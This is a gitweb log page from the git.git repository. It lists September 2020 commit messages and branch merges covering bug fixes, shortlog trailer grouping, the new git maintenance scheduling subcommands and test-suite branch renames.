git.git
5 years agoMerge branch 'bc/clone-with-git-default-hash-fix'
Junio C Hamano [Tue, 29 Sep 2020 21:01:20 +0000 (14:01 -0700)]
Merge branch 'bc/clone-with-git-default-hash-fix'

"git clone" that clones from SHA-1 repository, while
GIT_DEFAULT_HASH set to use SHA-256 already, resulted in an
unusable repository that half-claims to be SHA-256 repository
with SHA-1 objects and refs.  This has been corrected.

* bc/clone-with-git-default-hash-fix:
  builtin/clone: avoid failure with GIT_DEFAULT_HASH

5 years agoMerge branch 'tb/bloom-improvements'
Junio C Hamano [Tue, 29 Sep 2020 21:01:20 +0000 (14:01 -0700)]
Merge branch 'tb/bloom-improvements'

"git commit-graph write" learned to limit the number of bloom
filters that are computed from scratch with the --max-new-filters
option.

* tb/bloom-improvements:
  commit-graph: introduce 'commitGraph.maxNewFilters'
  builtin/commit-graph.c: introduce '--max-new-filters=<n>'
  commit-graph: rename 'split_commit_graph_opts'
  bloom: encode out-of-bounds filters as non-empty
  bloom/diff: properly short-circuit on max_changes
  bloom: use provided 'struct bloom_filter_settings'
  bloom: split 'get_bloom_filter()' in two
  commit-graph.c: store maximum changed paths
  commit-graph: respect 'commitGraph.readChangedPaths'
  t/helper/test-read-graph.c: prepare repo settings
  commit-graph: pass a 'struct repository *' in more places
  t4216: use an '&&'-chain
  commit-graph: introduce 'get_bloom_filter_settings()'

5 years agoMerge branch 'bc/faq-misc'
Junio C Hamano [Tue, 29 Sep 2020 21:01:19 +0000 (14:01 -0700)]
Merge branch 'bc/faq-misc'

More FAQ entries.

* bc/faq-misc:
  docs: explain how to deal with files that are always modified
  docs: explain why reverts are not always applied on merge
  docs: explain why squash merges are broken with long-running branches

5 years agoclone: add tests for --template and some disallowed option pairs
Sean Barag [Tue, 29 Sep 2020 03:36:49 +0000 (03:36 +0000)]
clone: add tests for --template and some disallowed option pairs

Some combinations of command-line options to `git clone` are invalid,
but there were previously no tests ensuring those combinations reported
errors.  Similarly, `git clone --template` didn't appear to have any
tests.

Helped-by: Jeff King <redacted>
Helped-by: Derrick Stolee <redacted>
Signed-off-by: Sean Barag <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agodiff: get rid of redundant 'dense' argument
Sergey Organov [Tue, 29 Sep 2020 11:31:22 +0000 (14:31 +0300)]
diff: get rid of redundant 'dense' argument

Get rid of 'dense' argument that is redundant for every function that has
'struct rev_info *rev' argument as well, as the value of 'dense' passed is
always taken from 'rev->dense_combined_merges' field.

The only place where this was not the case is in 'submodule.c' where
'diff_tree_combined_merge()' was called with '1' for 'dense' argument. However,
at that call the 'revs' instance used is local to the function, and we now just
set 'revs->dense_combined_merges' to 1 in this local instance.

Signed-off-by: Sergey Organov <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agopackfile: fix memory leak in add_delta_base_cache()
Matheus Tavares [Tue, 29 Sep 2020 00:01:53 +0000 (21:01 -0300)]
packfile: fix memory leak in add_delta_base_cache()

When add_delta_base_cache() is called with a base that is already in the
cache, no operation is performed. But the check is done after allocating
space for a new entry, so we end up leaking memory on the early return.
In addition, the caller never free()'s the base as it expects the
function to take ownership of it. But the base is not released when we
skip insertion, so it also gets leaked. To fix these problems, move the
allocation of a new entry further down in add_delta_base_cache(), and
free() the base on early return.

Signed-off-by: Matheus Tavares <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agopackfile: fix race condition on unpack_entry()
Matheus Tavares [Tue, 29 Sep 2020 00:01:52 +0000 (21:01 -0300)]
packfile: fix race condition on unpack_entry()

The third phase of unpack_entry() performs the following sequence in a
loop, until all the deltas enumerated in phase one are applied and the
entry is fully reconstructed:

1. Add the current base entry to the delta base cache
2. Unpack the next delta
3. Patch the unpacked delta on top of the base

When the optional object reading lock is enabled, the above steps will
be performed while holding the lock. However, step 2. momentarily
releases it so that inflation can be performed in parallel for increased
performance. Because the `base` buffer inserted in the cache at 1. is
not duplicated, another thread can potentially free() it while the lock
is released at 2. (e.g. when there is no space left in the cache to
insert another entry). In this case, the later attempt to dereference
`base` at 3. will cause a segmentation fault. This problem was observed
during a multithreaded git-grep execution on a repository with large
objects.

To fix the race condition (and later segmentation fault), let's reorder
the aforementioned steps so that `base` is only added to the cache at
the end. This will prevent the buffer from being released by another
thread while it is still in use. An alternative solution which would not
require the reordering would be to duplicate `base` before inserting it
in the cache. However, as Phil Hord mentioned, memcpy()'ing large bases
can negatively affect performance: in his experiments, this alternative
approach slowed git-grep down by 10% to 20%.

Reported-by: Phil Hord <redacted>
Signed-off-by: Matheus Tavares <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agofetch: do not override partial clone filter
Jonathan Tan [Mon, 28 Sep 2020 22:26:38 +0000 (15:26 -0700)]
fetch: do not override partial clone filter

When a fetch with the --filter argument is made, the configured default
filter is set even if one already exists. This change was made in
5e46139376 ("builtin/fetch: remove unique promisor remote limitation",
2019-06-25) - in particular, changing from:

 * If this is the FIRST partial-fetch request, we enable partial
 * on this repo and remember the given filter-spec as the default
 * for subsequent fetches to this remote.

to:

 * If this is a partial-fetch request, we enable partial on
 * this repo if not already enabled and remember the given
 * filter-spec as the default for subsequent fetches to this
 * remote.

(The given filter-spec is "remembered" even if there is already an
existing one.)

This is problematic whenever a lazy fetch is made, because lazy fetches
are made using "git fetch --filter=blob:none", but this will also happen
if the user invokes "git fetch --filter=<filter>" manually. Therefore,
restore the behavior prior to 5e46139376, which writes a filter-spec
only if the current fetch request is the first partial-fetch one (for
that remote).

Signed-off-by: Jonathan Tan <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoDoc: show example scissors line
Evan Gates [Mon, 28 Sep 2020 22:51:08 +0000 (15:51 -0700)]
Doc: show example scissors line

The text tries to say the code accepts many variations that look remotely
like scissors and perforation marks, but gives too little detail for users
to decide what is and what is not taken as a scissors line for themselves.
Instead of describing the heuristics more, just spell out what will always
be accepted, namely "-- >8 --", as it would not help users to give them
more choices and flexibility and be "creative" in their scissors line.

Signed-off-by: Evan Gates <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agocmake: ensure that the `vcpkg` packages are found on Windows
Johannes Schindelin [Mon, 28 Sep 2020 21:09:08 +0000 (21:09 +0000)]
cmake: ensure that the `vcpkg` packages are found on Windows

On Windows, we use the `vcpkg` project to manage the dependencies, via
`compat/vcbuild/`. Let's make sure that these dependencies are found by
default.

This is needed because we are about to recommend loading the Git
worktree as a folder into Visual Studio, relying on the automatic CMake
support (which would make it relatively cumbersome to adjust the search
path used by CMake manually).

Signed-off-by: Johannes Schindelin <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agocmake: do find Git for Windows' shell interpreter
Johannes Schindelin [Mon, 28 Sep 2020 21:09:07 +0000 (21:09 +0000)]
cmake: do find Git for Windows' shell interpreter

By default, Git for Windows does not install its `sh.exe` into the
`PATH`. However, our current `CMakeLists.txt` expects to find a shell
interpreter in the `PATH`.

So let's fall back to looking in the default location where Git for
Windows _does_ install a relatively convenient `sh.exe`:
`C:\Program Files\Git\bin\sh.exe`

Helped-by: Øystein Walle <redacted>
Signed-off-by: Johannes Schindelin <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoconfig/uploadpack.txt: fix typo in `--filter=tree:<n>`
Martin Ågren [Sun, 27 Sep 2020 14:11:55 +0000 (16:11 +0200)]
config/uploadpack.txt: fix typo in `--filter=tree:<n>`

That should be a ":", not a second "=". While at it, refer to the
placeholder "<n>" as "<n>", not "n" (see, e.g., the entry just before
this one).

Signed-off-by: Martin Ågren <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoconfig/fmt-merge-msg.txt: drop space in quote
Martin Ågren [Sun, 27 Sep 2020 14:00:45 +0000 (16:00 +0200)]
config/fmt-merge-msg.txt: drop space in quote

We document how `merge.suppressDest` can be used to omit " into <branch
name>" from the title of the merge message. It is true that we omit the
space character before "into", but that lone double quote character
risks ending up on the wrong side of a line break, looking a bit out of
place. This currently happens with, e.g., 80-character terminals.

Drop that leading quoted space. The result should be just as clear about
how this option affects the formatted message.

Signed-off-by: Martin Ågren <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoworktree: use skip_prefix to parse target
Martin Ågren [Sun, 27 Sep 2020 13:15:47 +0000 (15:15 +0200)]
worktree: use skip_prefix to parse target

Instead of checking for "refs/heads/" using `starts_with()`, then
skipping past "refs/heads/" using `strlen()`, just use `skip_prefix()`.

In `is_worktree_being_rebased()`, we can adjust the indentation while
we're here and lose a pair of parentheses which isn't needed and which
might even make the reader wonder what they're missing and why that
grouping is there.

Signed-off-by: Martin Ågren <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoworktree: rename copy-pasted variable
Martin Ågren [Sun, 27 Sep 2020 13:15:46 +0000 (15:15 +0200)]
worktree: rename copy-pasted variable

As the commit message of 04a3dfb8b5 ("worktree.c: check whether branch
is bisected in another worktree", 2016-04-22) indicates, the function
`is_worktree_being_bisected()` is based on the older function
`is_worktree_being_rebased()`. This heritage can also be seen in the
name of the variable where we store our return value: It was never
adapted while copy-editing and remains as `found_rebase`.

Rename the variable to make clear that we're looking for a bisect(ion),
nothing else.

Signed-off-by: Martin Ågren <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoworktree: update renamed variable in comment
Martin Ågren [Sun, 27 Sep 2020 13:15:45 +0000 (15:15 +0200)]
worktree: update renamed variable in comment

The comment above `add_head_info()` mentions "head_sha1", but it was
renamed to "head_oid" in 0f05154c70 ("worktree: convert struct worktree
to object_id", 2017-10-15). Update the comment.

Signed-off-by: Martin Ågren <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoworktree: inline `worktree_ref()` into its only caller
Martin Ågren [Sun, 27 Sep 2020 13:15:44 +0000 (15:15 +0200)]
worktree: inline `worktree_ref()` into its only caller

We have `strbuf_worktree_ref()`, which works on a strbuf, and a wrapper
for it, `worktree_ref()` which returns a string. We even make this
wrapper available through worktree.h. But it only has a single caller,
sitting right next to it in worktree.c.

Just inline the wrapper into its only caller. This means the caller can
quite naturally reuse a single strbuf. We currently achieve something
similar by having a static strbuf in the wrapper.

Signed-off-by: Martin Ågren <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agowt-status: introduce wt_status_state_free_buffers()
Martin Ågren [Sun, 27 Sep 2020 13:15:43 +0000 (15:15 +0200)]
wt-status: introduce wt_status_state_free_buffers()

When we have a `struct wt_status_state`, we manually free its `branch`,
`onto` and `detached_from`, or sometimes just one or two of them.
Provide a function `wt_status_state_free_buffers()` which does the
freeing.

The callers are still aware of these fields, e.g., they check whether
`branch` was populated or not. But this way, they don't need to know
about *all* of them, and if `struct wt_status_state` gets more fields,
they will not need to learn to free them.

Users of `struct wt_status` (which contains a `wt_status_state`) already
have `wt_status_collect_free_buffers()` (corresponding to
`wt_status_collect()`) which we can also teach to use this new helper.

Finally, note that we're currently leaving dangling pointers behind.
Some callers work on a stack-allocated struct, where this is obviously
ok. But for the users of `run_status()` in builtin/commit.c, there are
ample opportunities for someone to mistakenly use those dangling
pointers. We seem to be ok for now, but it's a use-after-free waiting to
happen. Let's leave NULL-pointers behind instead.

Signed-off-by: Martin Ågren <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agowt-status: print to s->fp, not stdout
Martin Ågren [Sun, 27 Sep 2020 13:15:42 +0000 (15:15 +0200)]
wt-status: print to s->fp, not stdout

We pass around a `FILE *` in the `struct wt_status` and almost always
print to it. But in a few places, we write to `stdout` instead, either
explicitly through `fprintf(stdout, ...)` or implicitly with
`printf(...)` (and a few `putchar(...)`).

Always be explicit about writing to `s->fp`. To the best of my
understanding, this never mattered in practice because these spots are
involved in various forms of `git status` which always end up at
standard output anyway. When we do write to another file, it's because
we're creating a commit message template, and these code paths aren't
involved.

But let's be consistent to help future readers and avoid future bugs.

Signed-off-by: Martin Ågren <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agowt-status: replace sha1 mentions with oid
Martin Ågren [Sun, 27 Sep 2020 13:15:41 +0000 (15:15 +0200)]
wt-status: replace sha1 mentions with oid

`abbrev_sha1_in_line()` uses a `struct object_id oid` and should be
fully prepared to handle non-SHA1 object ids. Rename it to
`abbrev_oid_in_line()`.

A few comments in `wt_status_get_detached_from()` mention "sha1". The
variable they refer to was renamed in e86ab2c1cd ("wt-status: convert to
struct object_id", 2017-02-21). Update the comments to reference "oid"
instead.

Signed-off-by: Martin Ågren <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoshortlog: allow multiple groups to be specified
Jeff King [Sun, 27 Sep 2020 08:40:15 +0000 (04:40 -0400)]
shortlog: allow multiple groups to be specified

Now that shortlog supports reading from trailers, it can be useful to
combine counts from multiple trailers, or between trailers and authors.
This can be done manually by post-processing the output from multiple
runs, but it's non-trivial to make sure that each name/commit pair is
counted only once.

This patch teaches shortlog to accept multiple --group options on the
command line, and pull data from all of them. That makes it possible to
run:

  git shortlog -ns --group=author --group=trailer:co-authored-by

to get a shortlog that counts authors and co-authors equally.

The implementation is mostly straightforward. The "group" enum becomes a
bitfield, and the trailer key becomes a list. I didn't bother
implementing the multi-group semantics for reading from stdin. It would
be possible to do, but the existing matching code makes it awkward, and
I doubt anybody cares.

The duplicate suppression we used for trailers now covers authors and
committers as well (though in non-trailer single-group mode we can skip
the hash insertion and lookup, since we only see one value per commit).

There is one subtlety: we now care about the case when no group bit is
set (in which case we default to showing the author). The caller in
builtin/log.c needs to be adapted to ask explicitly for authors, rather
than relying on shortlog_init(). It would be possible with some
gymnastics to make this keep working as-is, but it's not worth it for a
single caller.

Signed-off-by: Jeff King <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoshortlog: parse trailer idents
Jeff King [Sun, 27 Sep 2020 08:40:11 +0000 (04:40 -0400)]
shortlog: parse trailer idents

Trailers don't necessarily contain name/email identity values, so
shortlog has so far treated them as opaque strings. However, since many
trailers do contain identities, it's useful to treat them as such when
they can be parsed. That lets "-e" work as usual, as well as mailmap.

When they can't be parsed, we'll continue with the old behavior of
treating them as a single string (there's no new test for that here,
since the existing tests cover a trailer like this).

Signed-off-by: Jeff King <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoshortlog: rename parse_stdin_ident()
Jeff King [Sun, 27 Sep 2020 08:40:09 +0000 (04:40 -0400)]
shortlog: rename parse_stdin_ident()

This function is actually useful for parsing any identity, whether from
stdin or not. We'll need it for handling trailers.

Signed-off-by: Jeff King <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoshortlog: de-duplicate trailer values
Jeff King [Sun, 27 Sep 2020 08:40:07 +0000 (04:40 -0400)]
shortlog: de-duplicate trailer values

The current documentation is vague about what happens with
--group=trailer:signed-off-by when we see a commit with:

Signed-off-by: One
Signed-off-by: Two
Signed-off-by: One
We clearly should credit both "One" and "Two", but should "One" get
credited twice? The current code does so, but mostly because that was
the easiest thing to do. It's probably more useful to count each commit
at most once. This will become especially important when we allow
values from multiple sources in a future patch.

Signed-off-by: Jeff King <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoshortlog: match commit trailers with --group
Jeff King [Sun, 27 Sep 2020 08:40:04 +0000 (04:40 -0400)]
shortlog: match commit trailers with --group

If a project uses commit trailers, this patch lets you use
shortlog to see who is performing each action. For example,
running:

  git shortlog -ns --group=trailer:reviewed-by

in git.git shows who has reviewed. You can even use a custom
format to see things like who has helped whom:

  git shortlog --format="...helped %an (%ad)" \
               --group=trailer:helped-by

Signed-off-by: Jeff King <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agotrailer: add interface for iterating over commit trailers
Jeff King [Sun, 27 Sep 2020 08:40:01 +0000 (04:40 -0400)]
trailer: add interface for iterating over commit trailers

The trailer code knows how to parse out the trailers and re-format them,
but there's no easy way to iterate over the trailers (you can use
trailer_info, but you have to then do a bunch of extra parsing).

Let's add an iteration interface that makes this easy to do.

Signed-off-by: Jeff King <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoshortlog: add grouping option
Jeff King [Sun, 27 Sep 2020 08:39:59 +0000 (04:39 -0400)]
shortlog: add grouping option

In preparation for adding more grouping types, let's refactor the
committer/author grouping code and add a user-facing option that binds
them together. In particular:

  - the main option is now "--group", to make it clear
    that the various group types are mutually exclusive. The
    "--committer" option is an alias for "--group=committer".

  - we keep an enum rather than a binary flag, to prepare
    for more values

  - we prefer switch statements to ternary assignment, since
    other group types will need more custom code

Signed-off-by: Jeff King <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agot9902: avoid using the branch name `master`
Johannes Schindelin [Sat, 26 Sep 2020 21:04:22 +0000 (21:04 +0000)]
t9902: avoid using the branch name `master`

The completion tests used that name unnecessarily, and it is a
non-inclusive term, so let's avoid using it here.

Since three of the touched test cases make use of the fact that two of
the branch names (`master` and `maint`) start with the same letter (or
even with the same two letters), we choose to replace the use of
`master` by a name that also has that property: `main`.

Signed-off-by: Johannes Schindelin <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agotests: avoid variations of the `master` branch name
Johannes Schindelin [Sat, 26 Sep 2020 21:04:21 +0000 (21:04 +0000)]
tests: avoid variations of the `master` branch name

The term `master` has a loaded history that serves as a constant
reminder of racial injustice. The Git project has no desire to
perpetuate this and already started avoiding it.

The test suite uses variations of this name for branches other than the
default one. Apart from t3200, where we just addressed this in the
previous commit, those instances can be renamed in an automated manner
because they do not require any changes outside of the test script, so
let's do that.

Seeing as the touched branches have very little (if anything) to do with
the default branch, we choose to use a completely separate naming
scheme: `topic_<number>` (it cannot be `topic-<number>` because t5515
uses the `test_oid` machinery with the term, and that machinery uses
shell variables internally, whose names cannot contain dashes).

This trick was performed by this (GNU) sed invocation:

$ sed -i 's/master\([a-z0-9]\)/topic_\1/g' t/t*.sh

Signed-off-by: Johannes Schindelin <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoref-filter: plug memory leak in reach_filter()
René Scharfe [Sat, 26 Sep 2020 08:37:29 +0000 (10:37 +0200)]
ref-filter: plug memory leak in reach_filter()

21bf933928 (ref-filter: allow merged and no-merged filters, 2020-09-15)
added an early return to reach_filter().  Avoid leaking the memory of a
then unused array by postponing its allocation until we know we need it.

Signed-off-by: René Scharfe <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agocompletion: complete refs after 'git restore -s'
Ákos Uzonyi [Fri, 25 Sep 2020 21:11:24 +0000 (23:11 +0200)]
completion: complete refs after 'git restore -s'

Currently only the long version (--source=) supports completion.

Add completion support to the short (-s) option too.

Signed-off-by: Ákos Uzonyi <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agocompletion: use "prev" variable instead of introducing "prevword"
Ákos Uzonyi [Fri, 25 Sep 2020 21:11:23 +0000 (23:11 +0200)]
completion: use "prev" variable instead of introducing "prevword"

In both _git_checkout and _git_switch a new "prevword" variable were
introduced, however the "prev" variable already contains the last word.

The "prevword" variable is replaced with "prev", and the case is moved
to the beginning of the function, like it's done in many other places
(e.g. _git_commit). Also the indentaion of the case is fixed.

Signed-off-by: Ákos Uzonyi <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agoSeventeenth batch
Junio C Hamano [Fri, 25 Sep 2020 22:25:10 +0000 (15:25 -0700)]
Seventeenth batch

Signed-off-by: Junio C Hamano <redacted>
5 years agoMerge branch 'jk/diff-highlight-blank-match-fix'
Junio C Hamano [Fri, 25 Sep 2020 22:25:42 +0000 (15:25 -0700)]
Merge branch 'jk/diff-highlight-blank-match-fix'

"diff-highlight" (in contrib/) had a logic to flush its output upon
seeing a blank line but the way it detected a blank line was broken.

* jk/diff-highlight-blank-match-fix:
  diff-highlight: correctly match blank lines for flush

5 years agoMerge branch 'hx/push-atomic-with-cert'
Junio C Hamano [Fri, 25 Sep 2020 22:25:41 +0000 (15:25 -0700)]
Merge branch 'hx/push-atomic-with-cert'

"git push" that wants to be atomic and wants to send push
certificate learned not to prepare and sign the push certificate
when it fails the local check (hence due to atomicity it is known
that no certificate is needed).

* hx/push-atomic-with-cert:
  send-pack: run GPG after atomic push checking

5 years agoMerge branch 'rs/misc-cleanups'
Junio C Hamano [Fri, 25 Sep 2020 22:25:40 +0000 (15:25 -0700)]
Merge branch 'rs/misc-cleanups'

Code cleanup.

* rs/misc-cleanups:
  pack-write: use hashwrite_be32() in write_idx_file()

5 years agoMerge branch 'ld/p4-unshelve-fix'
Junio C Hamano [Fri, 25 Sep 2020 22:25:40 +0000 (15:25 -0700)]
Merge branch 'ld/p4-unshelve-fix'

The "unshelve" subcommand of "git p4" used incorrectly used
commit^N where it meant to say commit~N to name the Nth generation
ancestor, which has been corrected.

* ld/p4-unshelve-fix:
  git-p4: use HEAD~$n to find parent commit for unshelve
  git-p4 unshelve: adding a commit breaks git-p4 unshelve

5 years agoMerge branch 'jx/proc-receive-hook'
Junio C Hamano [Fri, 25 Sep 2020 22:25:39 +0000 (15:25 -0700)]
Merge branch 'jx/proc-receive-hook'

"git receive-pack" that accepts requests by "git push" learned to
outsource most of the ref updates to the new "proc-receive" hook.

* jx/proc-receive-hook:
  doc: add documentation for the proc-receive hook
  transport: parse report options for tracking refs
  t5411: test updates of remote-tracking branches
  receive-pack: new config receive.procReceiveRefs
  doc: add document for capability report-status-v2
  New capability "report-status-v2" for git-push
  receive-pack: feed report options to post-receive
  receive-pack: add new proc-receive hook
  t5411: add basic test cases for proc-receive hook
  transport: not report a non-head push as a branch

5 years agoMerge branch 'ds/maintenance-part-1'
Junio C Hamano [Fri, 25 Sep 2020 22:25:38 +0000 (15:25 -0700)]
Merge branch 'ds/maintenance-part-1'

A "git gc"'s big brother has been introduced to take care of more
repository maintenance tasks, not limited to the object database
cleaning.

* ds/maintenance-part-1:
  maintenance: add trace2 regions for task execution
  maintenance: add auto condition for commit-graph task
  maintenance: use pointers to check --auto
  maintenance: create maintenance.<task>.enabled config
  maintenance: take a lock on the objects directory
  maintenance: add --task option
  maintenance: add commit-graph task
  maintenance: initialize task array
  maintenance: replace run_auto_gc()
  maintenance: add --quiet option
  maintenance: create basic maintenance runner

5 years agosequencer: stop abbreviating stopped-sha file
Junio C Hamano [Fri, 25 Sep 2020 05:49:12 +0000 (22:49 -0700)]
sequencer: stop abbreviating stopped-sha file

The object name written to this file is not exposed to end-users and
the only reader of this file immediately expands it back to a full
object name.  Stop abbreviating while writing, and expect a full
object name while reading, which simplifies the code a bit.

Signed-off-by: Junio C Hamano <redacted>
5 years agot1506: rev-parse A..B and A...B
Junio C Hamano [Fri, 25 Sep 2020 01:44:46 +0000 (18:44 -0700)]
t1506: rev-parse A..B and A...B

Because these constructs can be used to parse user input to be
passed to rev-list --objects, e.g.

range=$(git rev-parse v1.0..v2.0) &&
git rev-list --objects $range | git pack-objects --stdin

the endpoints (v1.0 and v2.0 in the example) are shown without
peeling them to underlying commits, even when they are annotated
tags.  Make sure it stays that way.

While at it, ensure "rev-parse A...B" also keeps the endpoints A and
B unpeeled, even though the negative side (i.e. the merge-base
between A and B) has to become a commit.

Signed-off-by: Junio C Hamano <redacted>
5 years agoprotocol: re-enable v2 protocol by default
Jeff King [Fri, 25 Sep 2020 18:34:36 +0000 (14:34 -0400)]
protocol: re-enable v2 protocol by default

Protocol v2 became the default in v2.26.0 via 684ceae32d (fetch: default
to protocol version 2, 2019-12-23). More widespread use turned up a
regression in negotiation. That was fixed in v2.27.0 via 4fa3f00abb
(fetch-pack: in protocol v2, in_vain only after ACK, 2020-04-27), but we
also reverted the default to v0 as a precuation in 11c7f2a30b (Revert
"fetch: default to protocol version 2", 2020-04-22).

In v2.28.0, we re-enabled it for experimental users with 3697caf4b9
(config: let feature.experimental imply protocol.version=2, 2020-05-20)
and haven't heard any complaints. v2.28 has only been out for 2 months,
but I'd generally expect people turning on feature.experimental to also
stay pretty up-to-date. So we're not likely to collect much more data by
waiting. In addition, we have no further reports from people running
v2.26.0, and of course some people have been setting protocol.version
manually for ages.

Let's move forward with v2 as the default again. It's possible there are
still lurking bugs, but we won't know until it gets more widespread use.
And we can find and squash them just like any other bug at this point.

Signed-off-by: Jeff King <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agomaintenance: add start/stop subcommands
Derrick Stolee [Fri, 11 Sep 2020 17:49:18 +0000 (17:49 +0000)]
maintenance: add start/stop subcommands

Add new subcommands to 'git maintenance' that start or stop background
maintenance using 'cron', when available. This integration is as simple
as I could make it, barring some implementation complications.

The schedule is laid out as follows:

  0 1-23 * * *   $cmd maintenance run --schedule=hourly
  0 0    * * 1-6 $cmd maintenance run --schedule=daily
  0 0    * * 0   $cmd maintenance run --schedule=weekly

where $cmd is a properly-qualified 'git for-each-repo' execution:

$cmd=$path/git --exec-path=$path for-each-repo --config=maintenance.repo

where $path points to the location of the Git executable running 'git
maintenance start'. This is critical for systems with multiple versions
of Git. Specifically, macOS has a system version at '/usr/bin/git' while
the version that users can install resides at '/usr/local/bin/git'
(symlinked to '/usr/local/libexec/git-core/git'). This will also use
your locally-built version if you build and run this in your development
environment without installing first.

This conditional schedule avoids having cron launch multiple 'git
for-each-repo' commands in parallel. Such parallel commands would likely
lead to the 'hourly' and 'daily' tasks competing over the object
database lock. This could lead to to some tasks never being run! Since
the --schedule=<frequency> argument will run all tasks with _at least_
the given frequency, the daily runs will also run the hourly tasks.
Similarly, the weekly runs will also run the daily and hourly tasks.

The GIT_TEST_CRONTAB environment variable is not intended for users to
edit, but instead as a way to mock the 'crontab [-l]' command. This
variable is set in test-lib.sh to avoid a future test from accidentally
running anything with the cron integration from modifying the user's
schedule. We use GIT_TEST_CRONTAB='test-tool crontab <file>' in our
tests to check how the schedule is modified in 'git maintenance
(start|stop)' commands.

Signed-off-by: Derrick Stolee <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agomaintenance: add [un]register subcommands
Derrick Stolee [Fri, 11 Sep 2020 17:49:17 +0000 (17:49 +0000)]
maintenance: add [un]register subcommands

In preparation for launching background maintenance from the 'git
maintenance' builtin, create register/unregister subcommands. These
commands update the new 'maintenance.repos' config option in the global
config so the background maintenance job knows which repositories to
maintain.

These commands allow users to add a repository to the background
maintenance list without disrupting the actual maintenance mechanism.

For example, a user can run 'git maintenance register' when no
background maintenance is running and it will not start the background
maintenance. A later update to start running background maintenance will
then pick up this repository automatically.

The opposite example is that a user can run 'git maintenance unregister'
to remove the current repository from background maintenance without
halting maintenance for other repositories.

Signed-off-by: Derrick Stolee <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agofor-each-repo: run subcommands on configured repos
Derrick Stolee [Fri, 11 Sep 2020 17:49:16 +0000 (17:49 +0000)]
for-each-repo: run subcommands on configured repos

It can be helpful to store a list of repositories in global or system
config and then iterate Git commands on that list. Create a new builtin
that makes this process simple for experts. We will use this builtin to
run scheduled maintenance on all configured repositories in a future
change.

The test is very simple, but does highlight that the "--" argument is
optional.

Signed-off-by: Derrick Stolee <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agomaintenance: add --schedule option and config
Derrick Stolee [Fri, 11 Sep 2020 17:49:15 +0000 (17:49 +0000)]
maintenance: add --schedule option and config

Maintenance currently triggers when certain data-size thresholds are
met, such as number of pack-files or loose objects. Users may want to
run certain maintenance tasks based on frequency instead. For example,
a user may want to perform a 'prefetch' task every hour, or 'gc' task
every day. To help these users, update the 'git maintenance run' command
to include a '--schedule=<frequency>' option. The allowed frequencies
are 'hourly', 'daily', and 'weekly'. These values are also allowed in a
new config value 'maintenance.<task>.schedule'.

The 'git maintenance run --schedule=<frequency>' checks the '*.schedule'
config value for each enabled task to see if the configured frequency is
at least as frequent as the frequency from the '--schedule' argument. We
use the following order, for full clarity:

'hourly' > 'daily' > 'weekly'

Use new 'enum schedule_priority' to track these values numerically.

The following cron table would run the scheduled tasks with the correct
frequencies:

  0 1-23 * * *    git -C <repo> maintenance run --schedule=hourly
  0 0    * * 1-6  git -C <repo> maintenance run --schedule=daily
  0 0    * * 0    git -C <repo> maintenance run --schedule=weekly

This cron schedule will run --schedule=hourly every hour except at
midnight. This avoids a concurrent run with the --schedule=daily that
runs at midnight every day except the first day of the week. This avoids
a concurrent run with the --schedule=weekly that runs at midnight on
the first day of the week. Since --schedule=daily also runs the
'hourly' tasks and --schedule=weekly runs the 'hourly' and 'daily'
tasks, we will still see all tasks run with the proper frequencies.

Signed-off-by: Derrick Stolee <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agomaintenance: optionally skip --auto process
Derrick Stolee [Fri, 28 Aug 2020 15:45:12 +0000 (15:45 +0000)]
maintenance: optionally skip --auto process

Some commands run 'git maintenance run --auto --[no-]quiet' after doing
their normal work, as a way to keep repositories clean as they are used.
Currently, users who do not want this maintenance to occur would set the
'gc.auto' config option to 0 to avoid the 'gc' task from running.
However, this does not stop the extra process invocation. On Windows,
this extra process invocation can be more expensive than necessary.

Allow users to drop this extra process by setting 'maintenance.auto' to
'false'.

Signed-off-by: Derrick Stolee <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agomaintenance: add incremental-repack auto condition
Derrick Stolee [Fri, 25 Sep 2020 12:33:38 +0000 (12:33 +0000)]
maintenance: add incremental-repack auto condition

The incremental-repack task updates the multi-pack-index by deleting pack-
files that have been replaced with new packs, then repacking a batch of
small pack-files into a larger pack-file. This incremental repack is faster
than rewriting all object data, but is slower than some other
maintenance activities.

The 'maintenance.incremental-repack.auto' config option specifies how many
pack-files should exist outside of the multi-pack-index before running
the step. These pack-files could be created by 'git fetch' commands or
by the loose-objects task. The default value is 10.

Setting the option to zero disables the task with the '--auto' option,
and a negative value makes the task run every time.

Signed-off-by: Derrick Stolee <redacted>
Signed-off-by: Junio C Hamano <redacted>
5 years agomaintenance: auto-size incremental-repack batch
Derrick Stolee [Fri, 25 Sep 2020 12:33:37 +0000 (12:33 +0000)]
maintenance: auto-size incremental-repack batch

